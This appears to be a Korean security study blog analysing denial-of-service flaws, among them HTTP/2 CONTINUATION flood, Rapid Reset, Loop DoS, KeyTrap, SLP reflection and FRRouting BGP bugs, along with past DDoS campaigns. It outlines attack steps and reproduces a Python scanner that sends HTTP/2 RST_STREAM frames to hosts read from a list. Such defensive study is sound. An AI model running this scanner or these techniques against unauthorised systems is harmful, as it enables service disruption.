꼰머의 보안공부

1. 개요

- HTTP/2 프로토콜 취약점으로인한 서비스 거부 공격이 발견

- HTTP/2 Rapid Reset 공격보다 더 심각한 문제를 유발

> 단일 TCP 연결로 웹 서버를 중단시킬 수 있음

2. 주요 내용 [1]

- HTTP/2에서 통신의 최소 단위를 Frame이라하며, 하나의 프레임이 포함 [2][3]
- 프레임 헤더는 최소한으로 어떤 스트림에 속하는 프레임인지 식별을 가능케 함

- HEADERS와 CONTINUATION 프레임이 공격에 악용

> HEADERS 프레임에서 END_HEADERS 플래그가 설정되지 않은 경우 CONTINUATION 프레임이 이어서 전송

> CONTINUATION 프레임에서 END_HEADERS 플래그가 설정되지 않은 경우 CONTINUATION 프레임이 이어서 전송

- 즉, 클라이언트가 새로운 HTTP/2 스트림을 시작하고

> HEADERS 및 CONTINUATION 프레임을 전송하지만, END_HEADERS 플래그가 설정되지 않은 경우 

> HTTP/2 서버가 구문 분석하고 메모리에 저장해야 하는 헤더의 무한한 스트림이 생성

- HTTP/1.1에서는 두 가지 메커니즘을 통해 무한 헤더 문제로부터 보호

> 헤더 크기 제한: 헤더 목록이 허용된 크기를 초과 하면 연결이 끊어짐

> 요청/헤더 시간 초과: 요청/헤더가 적시에 전송되지 않으면 연결이 끊어짐

> HTTP/2에서는 구현되어 있지 않거나, 잘못 구현되어 있어 CPU, 메모리 부족 등 서비스 거부로 이어질 수 있음

- CERT-CC(CERT Coordination Center)는 해당 공격에 해당하는 CVE ID를 공개 [4]

> 메모리 누수, 메모리 소비, CPU 소모 등 다양한 수준의 서비스 거부 공격 허용

3. 참고

[1] https://nowotarski.info/http2-continuation-flood-technical-details/
[2] https://datatracker.ietf.org/doc/html/rfc7540#section-6
[3] https://itchipmunk.tistory.com/272
[4] https://kb.cert.org/vuls/id/421644
[5] https://www.bleepingcomputer.com/news/security/new-http-2-dos-attack-can-crash-web-servers-with-a-single-connection/

1. 개요

- UDP 프로토콜의 구현상 문제로 인해 발생하는 서비스 거부 취약점이 발견 [1]

- 두 서비스간 오류 메시지를 무한정 주고받도록 하여 서비스 거부 유발

- 최소 30만 개의 서버가 취약점에 영향받는 것으로 파악됨

2. CVE-2024-2169

- UDP 애플리케이션 프로토콜의 구현 문제로 인해 공격자는 악의적으로 제작된 패킷을 사용해 서비스 거부 유발 가능

> 벤더사 Broadcom, Cisco, Honeywell, Microsoft, MikroTik가 영향을 받는것으로 확인

> DNS, NTP, TFTP, Active Users, Daytime, Echo, Chargen, QOTD, Time과 같은 UDP 프로토콜의 특정 구현을 악용해 자체 영속적인 공격 루프를 생성할 수 있음

> 약 30만 개의 호스트에 영향

- UDP는 설계상 Source IP의 유효성을 검사하지 않는 비연결형 프로토콜로, IP 스푸핑에 취약

> UDP는 송수신자간 검증 및 직접 연결을 설정하지 않고, 패킷을 전송

> 따라서, 공격자가 Target IP로 스푸핑하여 응답할 서버로 전송해 취약점을 유발

- IP 스푸핑 및 조작된 요청을 전송하여, 두 서비스가 서로의 메시지에 계속 응답하는 루프 생성

> 두 시스템이 오류 메시지를 무한정으로 주고받아(=Loop) 서비스 거부 발생

2.1 공격 시나리오

시나리오 ①

- 다수의 호스트와 대상 서버간 루프를(N:1) 생성해 단일 대상에 DoS 유발

시나리오 ②

- 백본 네트워크에 존재하는 호스트간 루프를(N:N) 생성해 다수 대상에 DoS 유발

시나리오 ③

- 내부 호스트와 외부 호스트간 루프를(N:N) 생성해 업링크에 부하 유발

시나리오 ④

- 루프 대상이 단일 응답이 아닌 여러 응답을 발생해 자체 증폭 루프를 형성

> 가장 파괴적인 유형으로, 모든 네트워크 트래픽을 중단하지 않는 한 계속 발생할 것

3. 대응방안

- 벤더사 제공 업데이트 적용

> 취약점 확인 후 벤더사에 전달해 조치가 이뤄지는 중

- UDP 애플리케이션 대상 방화벽 규칙 및 ACL 적용

- 불필요 UDP 비활성화

- QoS를 사용해 네트워크 트래픽 제한

- BCP38 및 uRPF(Unicast Reverse Path Forwarding) 등의 스푸핑 방지 솔루션 도입

4. 참고

[1] https://cispa.de/en/loop-dos
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-2169
[3] https://www.bleepingcomputer.com/news/security/new-loop-dos-attack-may-impact-up-to-300-000-online-systems/#google_vignette
[4] https://thehackernews.com/2024/03/new-loop-dos-attack-impacts-hundreds-of.html
[5] https://securityaffairs.com/160851/hacking/loop-dos-attack.html
[6] https://www.darkreading.com/cloud-security/300k-internet-hosts-at-risk-for-devastating-loop-dos-attack
[7] https://www.boannews.com/media/view.asp?idx=127987&kind=1

1. 개요

- 독일 아테네국립응용사이버보안연구센터에서 DNS 보안 프로토콜 DNSSEC의 설계 결함을 악용한 KeyTrap (CVE-2023-50387) 발견 [1]
- 단일 DNS 패킷을 전송하여 서비스 거부를 유발할 수 있음
> 취약한 DNS의 경우 최소 170초에서 최대 16시간 동안 서비스 거부 발생

2. 주요내용

2.1 DNSSEC(Domain Name System Security Extension) [2][3]

- DNS는 도메인(hxxps://example[.]com)을 IP 주소(1.1.1.1)로 변환하는 역할
> 초기 설계시 보안성을 충분히 고려하지 못해 DNS 정보 위-변조가 가능하다는 문제 존재 Ex. DNS Cache Poisoning

- 기존 DNS 보안성을 강화하기 위해 공개키 암호화 방식의 보안기능을 추가한 DNSSEC(DNS Security Extensions) 도입
> DNS를 대체하는 것이 아님

2.2 KeyTrap(CVE-2023-50387) [4]

- DNSSEC 설계 결함으로 인해 DNS 서버에 서비스 거부를 유발할 수 있는 취약점
> DNSKEY 및 RRSIG 레코드가 여러개일 경우 프로토콜 사양에 따라 모든 조합에 대한 유효성 검사를 수행

- 취약점과 관련된 세 가지 DNSSEC 설계 문제
① 여러 개의 서로 다른 DNS 키가 동일한 키 태그를 가질 수 있어 서명 유효성 검사 프로세스에 계산 부하 발생 가능
② 서명을 성공적으로 검증하는 키를 찾거나 모든 키가 시도될 때까지 모든 키를 시도해야 하므로(가용성 보장 목적) 계산 부하 발생 가능
③ 동일한 레코드에 여러 서명이 있는 경우 유효한 서명을 찾거나 모든 서명이 시도될 때까지 수신된 모든 서명을 검증해야 하므로, 계산 부하 발생 가능

- 영향받는 버전

2.2.1 SigJam (하나의 키 X 다수 서명)

- DNS Resolve가 하나의 DNS 키를 사용하여 DNS 레코드에 존재하는 다수의 유효하지 않은 서명을 검증하도록 유도
> DNS Resolve가 DNSKEY로 검증할 수 있는 서명을 찾을 때까지 모든 서명을 시도하도록 설계 됨
> 공격자는 단일 DNS 응답에 340개의 서명을 작성할 수 있음
> 340개의 서명에 대한 유효성 검증을 수행한 후 DNS Reolve는 클라이언트에 SERVFAIL를 반환

2.2.2 LockCram (다수의 키 X 하나의 서명)

- DNS Resolve가 ZSK DNSSEC키를 사용하여 DNS 레코드를 통해 하나의 서명을 검증하도록 유도
> DNS Resolve가 하나의 키가 검증되거나 모두 시도될 때까지 서명에 사용할 수 있는 모든 키를 시도하도록 설계 됨
> DNS Resolve는 서명을 검증하기 위해 모든 DNSSEC 키를 사용
> 해당 서명이 유효하지 않다고 결론을 내릴 때까지 서명이 참조하는 모든 키를 시도

2.2.3 KeySigTrap (다수의 키 X 다수의 서명)

- SigJam과 LockCram를 결합하여 검증 과정이 2배 증가하는 공격

> 모든 키와 서명 쌍이 검증될 때까지, 가능한 모든 조합에 대해 검증을 시도

Ex. 첫 번째 ZSK를 사용해 N개 서명을 검증한 후, 두 번째 ZSK를 사용해 N개 서명을 검증하여 N번째 ZSK를 사용해 N개 서명을 검증

> 모든 조합 시도 후 레코드를 검증할 수 없다는 결론을 내리고 클라이언트에 SERVFAIL를 반환

2.2.4 HashTrap (다수의 키 X 다수의 해시)

- 다수의 DS 해시 레코드에 대해 충동하는 다수의 DNSKEY를 검증하기 위해 많은 해시를 계산하도록 유도

3. 대응방안

- 벤더사 제공 패치 제공
> 현재까지 나온 패치는 임시 조치
> DNSSEC 설계를 처음부터 다시 해야 문제가 해결될 것

- DNSSEC 기능 비활성화시 취약점이 근본적으로 사라지나 권장하지 않음
> KeyTrap 취약점을 제외하면 DNSSEC로부터 얻는 안전의 이득이 훨씬 많음

4. 참고

[1] https://www.athene-center.de/en/keytrap
[2] https://xn--3e0bx5euxnjje69i70af08bea817g.xn--3e0b707e/jsp/resources/dns/dnssecInfo/dnssecInfo.jsp
[3] https://medium.com/iocscan/how-dnssec-works-9c652257be0
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-50387
[5] https://www.boannews.com/media/view.asp?idx=126791
[6] https://www.boannews.com/media/view.asp?idx=126911

1. SLP (Service Location Protocol) [1][2]

- 클라이언트가 사전 구성 없이 LAN에서 사용 가능한 서비스를 동적으로 검색 및 통신할 수 있도록 하는 서비스 검색 프로토콜

- 대부분 UDP를 사용하나, 긴 패킷을 전송할 경우 TCP 또한 사용가능하며, UDP와 TCP 모두 427 포트를 사용

- RFC2165에 따르면 해당 프로토콜은 LAN, 엔터프라이즈 네트워크 등 제한된 네트워크에 서비스를 제공하기 위한 것

1.1 DRDoS (Distributed Reflective Denial of Service)

- 기존의 DDoS 공격보다 한층 진화된 기법: 근원지 은닉, 향상된 공격 규모 및 피해

- 스푸핑한 IP를 이용하여 정상 서비스를 제공하는 서버들에 요청을 보낸 후 응답을 공격 대상이 받게 하는 것

> 해당 과정을 반복하여 대량의 트래픽을 유발하여, 서비스 거부 상태 등의 장애를 유발

> 정상 서비스를 제공하는 서버를 반사체라고 함

※ 응답과 관련한 추가 정보들이 덧붙여져 패킷의 크기가 증폭되는 것으로 판단됨

2. 취약점

- SLP 서버에 임의의 서비스를 등록한 후 스푸핑된 IP로 요청을 전송해 공격 대상이 서비스 거부 상태에 빠지게 되는 취약점

> SLP는 제한적인 네트워크를 대상으로 서비스를 제공하기 위해 사용

> 불필요하게 인터넷과 연결된 SLP 서버가 약 54,000개 이상 확인됨 [4]

- 공격 과정은 다음과 같음

① UDP/427 Port로 서비스하는 SLP 서버 탐색

② SLP 서버에 임의의 서비스 등록

③ IP를 스푸핑하여 ②에서 등록한 서비스 요청

④ ③단계를 반복적으로 수행해 대량의 트래픽 유발

- 일반적인 SLP 서버의 응답 크기는 48 ~ 350 Byte

> 요청 크기를 29 Byte로 가정했을 때 약 1.6 ~ 12배 정도 응답이 증폭

- 서비스 등록과 Reflective를 결합하면 트래픽의 양을 크게 증가시킬 수 있음

> 공격자는 조작된 요청을 통해 최대 2200배 이상의 증폭을 생성할 수 있음

3. 대응방안

① SLP 비활성화

② SLP 서버에 대한 접근 통제 및 모니터링 강화

4. 참고

[1] https://en.wikipedia.org/wiki/Service_Location_Protocol
[2] https://www.rfc-editor.org/rfc/rfc2165.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-29552
[4] https://www.bitsight.com/blog/new-high-severity-vulnerability-cve-2023-29552-discovered-service-location-protocol-slp
[5] https://securityaffairs.com/145295/hacking/slp-flaw-ddos-attacks.html
[6] https://thehackernews.com/2023/11/cisa-alerts-high-severity-slp.html?m=1
[7] https://www.cisa.gov/news-events/alerts/2023/04/25/abuse-service-location-protocol-may-lead-dos-attacks
[8] https://www.boannews.com/media/view.asp?idx=117519&page=1&kind=1

1. HTTP/2 [1]

- 2015년 IETF에 의해 공식적으로 발표된 HTTP/1.1의 후속 버전

2. 취약점

- HTTP/2의 구조적 문제를 악용해 서비스 거부를 유발 시키는 제로데이 취약점

- 해당 취약점을 악용할 경우 DDoS 공격 규모는 약 2억 100만 RPS

> 종전 기록은 7100만 RPS

2.1 취약점 상세

- HTTP/2는 HTTP/1.1의 순차처리 방식의 단점을 보완한 Multiplexed Streams을 지원

> HTTP/1.1에서는 각 요청이 순차적으로 처리되어 비효율적이며, 지연 시간이 늘어나는 단점이 있음

> HTTP/2는 하나의 Connection상에서 동시에 여러 개의 요청을 보내 문제점을 개선

※ HTTP/2에서 Stream ID를 이용해 데이터를 처리하므로 동시에 여러 데이터를 병렬 처리가 가능함

- 또한, 클라이언트나 서버는 RST_STREAM 스트림을 전송함으로써 스트림을 취소할 수 있는 기능이 존재

> RST_STREAM을 이용해 불필요한 작업이 발생하는 것을 방지할 수 있음

> 잘못된 요청 또는 불필요 데이터 요청 등을 취소하고 빠르게 재설정할 수 있도록 하므로 Rapid Reset으로 불림

- 서버는 MAX_CONCURRENT_STREAMS 값을 설정하여, 서버에서 처리 가능한 스트림의 양을 명시

> 해당 값을 초과하는 요청이 발생하면, RST_STREAM을 발생시키고 요청을 거절

※ Stream을 지속적으로 보내 서버의 자원을 고갈시키는 단순한 유형의 DDoS 대응책으로 판단됨

- 공격자는 스트림을 요청한 후 바로 RST_STREAM을 요청하여 DDoS를 유발

> MAX_CONCURRENT_STREAMS 값을 초과하지 않기 때문에, 우회가 가능함

> 즉, MAX_CONCURRENT_STREAMS 값 이상의 스트림을 보낼 수 있음

2.2 PoC [5]

① 웹 서버가 HTTP/2 요청을 다운그레이드하지 않고 수락하는지 확인

② 웹 서버가 HTTP/2 요청을 수락하고 다운그레이드하지 않을 경우, 연결 스트림을 열고 재설정 시도

③ 웹 서버가 연결 스트림의 생성 및 재설정을 수락하는 경우 취약점의 영향을 받음

#!/usr/bin/env python3

import ssl
import sys
import csv
import socket
import argparse

from datetime import datetime
from urllib.parse import urlparse
from http.client import HTTPConnection, HTTPSConnection

from h2.connection import H2Connection
from h2.config import H2Configuration

import httpx
import requests

def get_source_ips(proxies):
    """
    Retrieve the internal and external IP addresses of the machine.
    
    Accepts:
        proxies (dict): A dictionary of proxies to use for the requests.
    
    Returns:
        tuple: (internal_ip, external_ip)
    """
    try:
        response = requests.get('http://ifconfig.me', timeout=5, proxies=proxies)
        external_ip = response.text.strip()

        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.settimeout(2)
        try:
            s.connect(('8.8.8.8', 1))
            internal_ip = s.getsockname()[0]
        except socket.timeout:
            internal_ip = '127.0.0.1'
        except Exception as e:
            internal_ip = '127.0.0.1'
        finally:
            s.close()
        
        return internal_ip, external_ip
    except requests.exceptions.Timeout:
        print("External IP request timed out.")
        return None, None
    except Exception as e:
        print(f"Error: {e}")
        return None, None
    
def check_http2_support(url, proxies):
    """
    Check if the given URL supports HTTP/2.
    
    Parameters:
        url (str): The URL to check.
        proxies (dict): A dictionary of proxies to use for the requests.
        
    Returns:
        tuple: (status, error/version)
        status: 1 if HTTP/2 is supported, 0 otherwise, -1 on error.
        error/version: Error message or HTTP version if not HTTP/2.
    """
    try:
        # Update the proxies dictionary locally within this function
        local_proxies = {}
        if proxies:
            local_proxies = {
                'http://': proxies['http'],
                'https://': proxies['https'],
            }
        
        # Use the proxy if set, otherwise don't
        client_options = {'http2': True, 'verify': False}  # Ignore SSL verification
        if local_proxies:
            client_options['proxies'] = local_proxies
        
        with httpx.Client(**client_options) as client:
            response = client.get(url)
        
        if response.http_version == 'HTTP/2':
            return (1, "")
        else:
            return (0, f"{response.http_version}")
    except Exception as e:
        return (-1, f"check_http2_support - {e}")

def send_rst_stream_h2(host, port, stream_id, uri_path='/', timeout=5, proxy=None):
    """
    Send an RST_STREAM frame to the given host and port.
    
    Parameters:
        host (str): The hostname.
        port (int): The port number.
        stream_id (int): The stream ID to reset.
        uri_path (str): The URI path for the GET request.
        timeout (int): The timeout in seconds for the socket connection.
        proxy (str): The proxy URL, if any.
        
    Returns:
        tuple: (status, message)
        status: 1 if successful, 0 if no response, -1 otherwise.
        message: Additional information or error message.
    """
    try:
        # Create an SSL context to ignore SSL certificate verification
        ssl_context = ssl.create_default_context()
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE

        # Create a connection based on whether a proxy is used
        if proxy and proxy != "":
            proxy_parts = urlparse(proxy)
            if port == 443:
                conn = HTTPSConnection(proxy_parts.hostname, proxy_parts.port, timeout=timeout, context=ssl_context)
                conn.set_tunnel(host, port)
            else:
                conn = HTTPConnection(proxy_parts.hostname, proxy_parts.port, timeout=timeout)
                conn.set_tunnel(host, port)
        else:
            if port == 443:
                conn = HTTPSConnection(host, port, timeout=timeout, context=ssl_context)
            else:
                conn = HTTPConnection(host, port, timeout=timeout)

        conn.connect()

        # Initiate HTTP/2 connection
        config = H2Configuration(client_side=True)
        h2_conn = H2Connection(config=config)
        h2_conn.initiate_connection()
        conn.send(h2_conn.data_to_send())

        # Send GET request headers
        headers = [(':method', 'GET'), (':authority', host), (':scheme', 'https'), (':path', uri_path)]
        h2_conn.send_headers(stream_id, headers)
        conn.send(h2_conn.data_to_send())

        # Listen for frames and send RST_STREAM when appropriate
        while True:
            data = conn.sock.recv(65535)
            if not data:
                break

            events = h2_conn.receive_data(data)
            has_sent = False
            for event in events:
                if hasattr(event, 'stream_id'):
                    if event.stream_id == stream_id:
                        h2_conn.reset_stream(event.stream_id)
                        conn.send(h2_conn.data_to_send())
                        has_sent = True
                        break # if we send the reset once we don't need to send it again because we at least know it worked

            if has_sent: # if we've already sent the reset, we can just break out of the loop
                return (1, "")
            else:
                # if we haven't sent the reset because we never found a stream_id matching the one we're looking for, we can just try to send to stream 1
                
                available_id = h2_conn.get_next_available_stream_id()
                if available_id == 0:
                    # if we can't get a new stream id, we can just send to stream 1
                    h2_conn.reset_stream(1)
                    conn.send(h2_conn.data_to_send())
                    return (0, "Able to send RST_STREAM to stream 1 but could not find any available stream ids")
                else:
                    # if we can get a new stream id, we can just send to that
                    h2_conn.reset_stream(available_id)
                    conn.send(h2_conn.data_to_send())
                    return (1, "")
                    
        conn.close()
        return (0, "No response")
    except Exception as e:
        return (-1, f"send_rst_stream_h2 - {e}")

def extract_hostname_port_uri(url):
    """
    Extract the hostname, port, and URI from a URL.
    
    Parameters:
        url (str): The URL to extract from.
        
    Returns:
        tuple: (hostname, port, uri)
    """
    try:
        parsed_url = urlparse(url)
        hostname = parsed_url.hostname
        port = parsed_url.port
        scheme = parsed_url.scheme
        uri = parsed_url.path  # Extracting the URI
        if uri == "":
            uri = "/"

        if not hostname:
            return -1, -1, ""

        if port:
            return hostname, port, uri

        if scheme == 'http':
            return hostname, 80, uri

        if scheme == 'https':
            return hostname, 443, uri

        return hostname, (80, 443), uri
    except Exception as e:
        return -1, -1, ""

if __name__ == "__main__":

    parser = argparse.ArgumentParser()
    parser.add_argument('-i', '--input', required=True)
    parser.add_argument('-o', '--output', default='/dev/stdout')
    parser.add_argument('--proxy', help='HTTP/HTTPS proxy URL', default=None)
    parser.add_argument('-v', '--verbose', action='store_true')
    args = parser.parse_args()

    proxies = {}
    if args.proxy:
        proxies = {
            'http': args.proxy,
            'https': args.proxy,
        }

    internal_ip, external_ip = get_source_ips(proxies)

    with open(args.input) as infile, open(args.output, 'w', newline='') as outfile:
        csv_writer = csv.writer(outfile)
        csv_writer.writerow(['Timestamp', 'Source Internal IP', 'Source External IP', 'URL', 'Vulnerability Status', 'Error/Downgrade Version'])
        
        for line in infile:
            addr = line.strip()
            if addr != "":
                now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                
                if args.verbose:
                    print(f"Checking {addr}...", file=sys.stderr)
                
                http2support, err = check_http2_support(addr, proxies)
                
                hostname, port, uri = extract_hostname_port_uri(addr)
                
                if http2support == 1:
                    resp, err2 = send_rst_stream_h2(hostname, port, 1, uri, proxy=args.proxy)
                    if resp == 1:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'VULNERABLE', ''])
                    elif resp == -1:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'POSSIBLE', f'Failed to send RST_STREAM: {err2}'])
                    elif resp == 0:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'LIKELY', 'Got empty response to RST_STREAM request'])
                else:
                    if http2support == 0:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'SAFE', f"Downgraded to {err}"])
                    else:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'ERROR', err])

3. 대응방안

- 보안 업데이트 적용 [6]

- 에러 로그 모니터링

> 알려진 연구에 따르면 공격 발생시 499, 502 에러가 발생되므로 관련 에러 로그 모니터링

※ 499: 클라이언트가 요청을 전송한 후 서버에 응답을 받기 전에 연결이 끊어진 경우 (강제 종료, 네트워크 문제 등의 경우)

※ 502: 게이트웨이가 잘못된 프로토콜을 연결하거나, 어느쪽 프로토콜에 문제가 있어 통신이 제대로 되지 않는 경우 (서버 과부하, 사용자 브라우저 이상, 잘못된 네트워크 연결 등의 경우)

- GOAWAY 프레임 전송

> HTTP/2에서 GOAWAY 프레임은 서버에서 발생되며, 연결 종료를 알리는 프레임

> RST_STREAM 발생 횟수를 카운트하여 해당 값이 임계 값을 초과하는 경우 GOAWAY 프레임 전송

- 관련 설정 값 수정 [6]

> F5 NGINX의 경우 최대 1000개의 연결을 유지하고, MAX_CONCURRENT_STREAMS 값을 128로 설정 하도록 권고

- 공격 발생 IP 차단

- HTTP/2 미사용 또는 HTTP/3 고려

4. 참고

[1] https://github.com/dongkyun-dev/TIL/blob/master/web/HTTP1.1%EA%B3%BC%20HTTP2.0%2C%20%EA%B7%B8%EB%A6%AC%EA%B3%A0%20%EA%B0%84%EB%8B%A8%ED%95%9C%20HTTP3.0.md
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-44487
[3] https://www.wallarm.com/what/what-is-http-2-and-how-is-it-different-from-http-1
[4] https://www.nginx.com/blog/http-2-rapid-reset-attack-impacting-f5-nginx-products/

[5] https://github.com/bcdannyboy/cve-2023-44487

[6] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=107187#LINK

[7] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-44487

[8] https://cloud.google.com/blog/products/identity-security/how-it-works-the-novel-http2-rapid-reset-ddos-attack?hl=en  
[9] https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
[10] https://www.cisa.gov/news-events/alerts/2023/10/10/http2-rapid-reset-vulnerability-cve-2023-44487
[11] https://www.rfc-editor.org/rfc/rfc9113
[12] https://www.securityweek.com/rapid-reset-zero-day-exploited-to-launch-largest-ddos-attacks-in-history/
[13] https://www.securityweek.com/organizations-respond-to-http-2-zero-day-exploited-for-ddos-attacks/
[14] https://www.helpnetsecurity.com/2023/10/10/cve-2023-44487-http-2-rapid-reset/
[15] https://www.boannews.com/media/view.asp?idx=122547&page=1&kind=1 

1. 개요

- 09.07.07 ~ 07.10 3차례에 걸쳐 국내 주요 기관 및 인터넷 포털 사이트를 대상으로 대규모 DDoS 공격 발생

> 09.07.04 미국 주요 사이트를 대상으로 공격이 시작되어, 09.07.07 국내 대상 공격이 시작됨

- 정부기관, 은행, 포털, 언론, 쇼핑몰 등 26개 주요 인터넷 사이트가 서비스 제공이 불가능

- 공격 이후 경각심을 깨우치고 공격 예방 및 정보보호 생활화를 위해 매년 7월 둘째 수요일을 정보보호의 날로 지정

2. 주요내용

2.1 타임라인

① 웹하드 서버 악성코드 감염

- 미상의 공격자는 웹하드 서비스 업체의 서버에 침입

- 웹하드 프로그램 업데이트 파일에 악성코드를 삽입

② 사용자 웹하드 업데이트

- 사용자는 자동 업데이트 등으로 웹하드 업데이트 진행

- 업데이트 파일에 삽입된 악성코드에 의해 msiexec.exe 파일이 악성코드에 감염

※ msiexec.exe

> 파일 경로: C:\Windows\system32

> Windows에서 사용하는 인스톨러 관련 기능을 담당하는 설치 프로그램

③ C2 서버 접근

- 감염된 사용자 PC는 C2서버 접속 및 DDoS 공격을 위한 파일 다운로드

- 다운로드 파일: msiexec1.exe, msiexec2.exe, msiexec3.exe

※ 각 파일의 동작 과정은 동일하며, 공격 대상 리스트와 DDoS 공격 방식의 차이를 보임

④ 추가 파일 다운로드

- msiexec1.exe은 DDoS 공격을 위한 추가 파일 다운로드

> msiexec2.exe, msiexec3.exe의 경우 uregvs.nls 파일의 내용만을 변경하며 나머지 과정은 동일

⑤ DDoS 공격 수행

- 다운받은 파일을 기반으로 DDoS 수행

> 당시 KISA는 공격이 115,000여개 IP주소에서 공격 트래픽이 발생했다고 발표

- 국내 DDoS 공격 대상

2.2 기존 DDoS와 차이점

※ 당시 발표된 자료를 기반한 정리로 현황가 차이가 있을 수 있음

2.3 당시 사후조치

3. 대응방안

4. 참고

[1] https://teamcrak.tistory.com/110
[2] https://ko.wikipedia.org/wiki/7%C2%B77_DDoS_%EA%B3%B5%EA%B2%A9
[3] https://itwiki.kr/w/7.7_%EB%94%94%EB%8F%84%EC%8A%A4
[4] https://www.boannews.com/media/view.asp?idx=21860
[5] https://www.etnews.com/201209110597

1. 개요

- 23.06.15 Killnet은 자신들의 텔레그램에 유럽 은행에 대한 DDoS 연합 공격을 예고

> 친러 해킹단체 Killnet, REvil 및 핵티비스트 Anonymous Sudan 연합

- 공격 대상에는 SEPA, IBAN, WIRE, SWIFT, WISE 등 국제 송금 시스템 등이 포함

2. 공격 내용

- 23.06.19 Killnet은 텔레그램을 통해 유럽 투자 은행 (European Investment Bank, EIB)에 대한 공격을 예고

> EIB는 트위터를 통해 eib[.]org, eif[.]org 사이트가 DDoS 공격을 받고있으며, 조치 중으로 발표

> 웹 사이트는 현재까지 모두 접속되지 않음

- 23.06.21 21시경 텔레그램을 통해 국제 금융 공사(International Finance Corporation, IFC)에 대한 공격을 예고

> 공격 이후 텔레그램을 통해 IFC 홈페이지 다운을 주장하였으나, 잠깐 마비된 후 정상화된 것으로 판단됨.

2.1 Anonymous Sudan

- 23.01부터 활동을 시작한 핵티비스트 그룹
- 스웨덴과 덴마크의 종교적 문제로 공격을 시작
- 일부 보안 업체에서는 수단과 관계없이 러시아의 지원을 받는 해커그룹이라는 의견을 제시

2.1.1 공격 특징

- 23.06 Microsoft를 대상으로 DDoS 공격을 진행하여 Azure, Outlook, OneDrive 서비스 중단 발생

> MS에서는 구체적인 공격의 규모를 발표하지 않음

- MS에 대한 공격 당시 어플리케이션 계층(Layer 7) DDoS 공격 진행

- 23.06.24 30분 ~ 2시간 동안 news[.]ua(우크라이나 뉴스)를 공격하여 서비스 중단 발생

- 23.06.25 30분 ~ 1시간 동안 alhadath[.]net(아랍 뉴스)를 공격하여 서비스 중단 발생

- 23.06.26 30분 ~ 1시간 동안 alarabiya[.]net(아랍 뉴스)를 공격하여 서비스 중단 발생

1. BGP (Border Gateway Protocol) [1]

- 서로 다른 AS(autonomous system) 사이에서 사용되는 라우팅 프로토콜

- 179/TCP 사용하여, 유니캐스트 방식으로 라우팅 정보를 전송

- 조직간에 계약된 정책(Policy)에 따라 최적 경로를 결정

- 장애가 발생할 경우 적게는 하나의 국가, 크게는 전 세계의 네트워크에 영향을 미침

> AS 간 라우팅을 수행하며, 수만 개에서 수십만 개 이상의 네트워크가 라우팅 테이블에서 관리되기 때문으로 판단됨.

2. 취약점 [2]

2.1 개요

- FRRouting, BIRD, OpenBGPd, ​​Mikrotik RouterOS, Juniper JunOS, Cisco IOS, Arista EOS 등 7가지 BGP 구현을 분석

> BGP 보안에서 자주 간과되는 소프트웨어 구현의 취약점 발견

> 공격자가 취약한 BGP 피어에 서비스 거부(DoS)를 유발할 수 있는 BGP 메시지 구문 분석 취약점

> 각 취약점은 FRRouting 팀에 전달되었으며 다음 버전에서 수정됨

- BGP 프로토콜 보안과 관련한 많은 연구가 진행

> BGP 피어가 리소스 공개 키 인프라(RPKI)와 같은 인증 및 암호화 메커니즘을 적용

※ RPKI (Resource Public Key Infrastructure): 인터넷주소자원 소유기관 및 IP주소, AS번호 등을 PKI(공개키 기반 암호화)를 기반으로 전자서명 처리하여 해당 라우팅 정보의 무결성을 인증하는 것

> 하지만, 최근 연구에서 BGP가 여전히 안전하지 않다는 것을 보여주고 있음

- 리눅스 및 유닉스용 오픈소스 인터넷 라우팅 프로토콜 FR라우팅(FRRouting) [4] 8.4 버전(22.07 배포)에서 새로운 취약점이 발견

> FR라우팅(FRRouting)은 엔비디아, 덴트, 소닉 등 유명 기업들에서도 사용하는 라우팅 프로토콜

> 해당 취약점들을 신속히 패치하지 않으면 공급망에 큰 영향을 미칠 수 있으며, 공격자는 취약점을 악용해 다음의 행위를 수행할 수 있음

① 모든 BGP 세션 및 라우팅 테이블을 삭제

② 지속적으로 잘못된 패킷을 전송해 BGP 피어를 응답하지 않는 서비스 거부 상태로 유지

※ BGP 데몬은 일정 시간 초과 후 자동으로 재시작함

2.2 CVE-2022-40302

- 취약점의 근본 원인은 BGP OPEN 메시지에서 확장 옵션 길이 옥텟에 대한 불충분한 경계 검사

- line 1: 옵션 길이 옥텟(optlen 변수)을 읽음

> optlen이 0xff(BGP_OPEN_NON_EXT_OPT_LEN 상수로 정의됨)인 경우 stream_getc()를 호출하여 다음 옥텟 (optype) 읽기를 계속 수행

> 확장 옵션 매개 변수를 0xff로 끝나도록 조작된 BGP OPEN 메시지가 수신되면, stream_getc() 호출 시 범위를 벗어난 읽기가 발생하는 것으로 판단됨.

- line 8: 원시 패킷 스트림에서 다음 옥텟 값을 읽음

> optype이 0xff와 동일한 경우 OPEN 패킷에는 RFC 9072(프로토콜 표준 문서)에 따라 확장된 옵션 매개 변수가 포함된 것으로 간주

> 조작된 BGP OPEN 메시지에 의해 범위를 벗어난 읽기가 발생하며, 이로인해 SIGABRT 시그널이 발생하여 FRRouting의 bgpd 데몬이 다시 시작되어 DoS 상태가 발생하는 것으로 판단됨.

※ SIGABRT: 프로세스가 비정상적인 상태에 도달했을 때 강제로 프로세스를 종료하기 위한 시그널

2.3 CVE-2022-40318 // 불확실하므로 추가 공부 필요

- 취약점의 근본 원인은 AS4 기능(RFC 6793에 따른 4바이트 AS 번호)을 읽을 때 OPEN 메시지 패킷에 대한 잘못된 경계 검사

- peek_for_as4_capability()는 AS4의 기능을 찾기위해 구문 분석을 수행하는 함수

> line12: 수신된 옵션의 길이 검증

